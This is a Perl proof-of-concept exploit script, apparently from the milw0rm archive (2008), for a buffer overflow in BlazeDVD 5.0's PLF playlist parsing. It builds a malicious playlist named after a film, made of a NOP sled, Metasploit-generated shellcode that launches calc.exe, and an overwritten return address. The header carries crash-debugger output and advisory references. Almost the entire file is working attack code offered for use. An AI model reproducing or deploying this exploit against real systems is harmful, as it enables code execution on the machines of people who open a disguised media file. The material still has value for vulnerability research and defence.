#!/usr/bin/perl
#
# Title: BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit (PoC)
#
# Summary: BlazeDVD is leading powerful and easy-to-use DVD player software.
# It can provide superior video and audio(Dolby) quality, together with other
# enhanced features:e.g. recording DVD,playback image and DV,bookmark and image
# capture.etc.Furthermore, besides DVD,Video CD,Audio CD, BlazeDVD supports DIVX,
# MPEG4, RM, QuickTime, WMV, WMV-HD, MacroMedia Flash and any other video file
# you have the codec installed for.The DVD player software can be extensive
# compatible with hardware,which is operated stable,smoothly under Windows98,
# 98SE, Me, 2000, XP, VISTA.
#
# Product web Page: http://www.blazevideo.com/dvd-player/index.htm
#
# Desc: BlazeDVD 5.0 suffers from buffer overflow vulnerability that can be
# exploited via crafted PLF playlist file localy and remotely. It fails to
# perform boundry checking of the user input file, allowing the EIP to be
# overwritten, thus, controling the next insctruction of the software. After
# succesfull exploitation, calc.exe will be executed. Failed attempts will
# result in Denial Of Service (DoS).
#
# WinDgb(output):
#
# - (4d8.f80): Access violation - code c0000005 (first chance)
# - First chance exceptions are reported before any exception handling.
# - This exception may be expected and handled.
# - eax=00000001 ebx=77f6c15c ecx=04bd0ba8 edx=00000042 esi=01beffc0 edi=6405565c
# - eip=41414141 esp=0012f188 ebp=01befcf8 iopl=0 nv up ei pl nz ac pe nc
# - cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
# - 41414141 ?? ???
#
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by: Parvez Anwar and Greg Linares
#
# Refs:
#
# - http://secunia.com/advisories/23041/
# - http://www.frsirt.com/english/advisories/2006/4764
# - http://xforce.iss.net/xforce/xfdb/30567
# - http://osvdb.org/30770
# - https://www.securityfocus.com/bid/21337/
# - http://www.milw0rm.com/exploits/2880
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm@gmail.com
#
# http://www.zeroscience.org
#
# 08.08.2008
#
print "\n|==================================================================|\n";
print "| |\n";
print "| BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit |\n";
print "| by LiquidWorm <liquidworm [at] gmail.com> |\n";
print "| |\n";
print "|==================================================================|\n\n";
$nop = "\x90" x 96;
# win32_exec EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
$shellcode = "\x29\xc9\x83\xe9\xdd\xd9\xee".
"\xd9\x74\x24\xf4\x5b\x81\x73".
"\x13\x7d\xe6\xe7\x4e\x83\xeb".
"\xfc\xe2\xf4\x81\x0e\xa3\x4e".
"\x7d\xe6\x6c\x0b\x41\x6d\x9b".
"\x4b\x05\xe7\x08\xc5\x32\xfe".
"\x6c\x11\x5d\xe7\x0c\x07\xf6".
"\xd2\x6c\x4f\x93\xd7\x27\xd7".
"\xd1\x62\x27\x3a\x7a\x27\x2d".
"\x43\x7c\x24\x0c\xba\x46\xb2".
"\xc3\x4a\x08\x03\x6c\x11\x59".
"\xe7\x0c\x28\xf6\xea\xac\xc5".
"\x22\xfa\xe6\xa5\xf6\xfa\x6c".
"\x4f\x96\x6f\xbb\x6a\x79\x25".
"\xd6\x8e\x19\x6d\xa7\x7e\xf8".
"\x26\x9f\x42\xf6\xa6\xeb\xc5".
"\x0d\xfa\x4a\xc5\x15\xee\x0c".
"\x47\xf6\x66\x57\x4e\x7d\xe6".
"\x6c\x26\x41\xb9\xd6\xb8\x1d".
"\xb0\x6e\xb6\xfe\x26\x9c\x1e".
"\x15\x16\x6d\x4a\x22\x8e\x7f".
"\xb0\xf7\xe8\xb0\xb1\x9a\x85".
"\x86\x22\x1e\xc8\x82\x36\x18".
"\xe6\xe7\x4e";
$ret = "\x78\x53\xbe\x01";
$payload = $nop.$shellcode.$ret;
open(plf, ">./The_Dark_Knight.plf");
print plf "$payload";
print "\n--> Playlist: The_Dark_Knight.plf succesfully created...Enjoy!\n\n";
print "\n...t00t w00t!\n\a\n";
# August, 2008
# milw0rm.com [2008-08-10]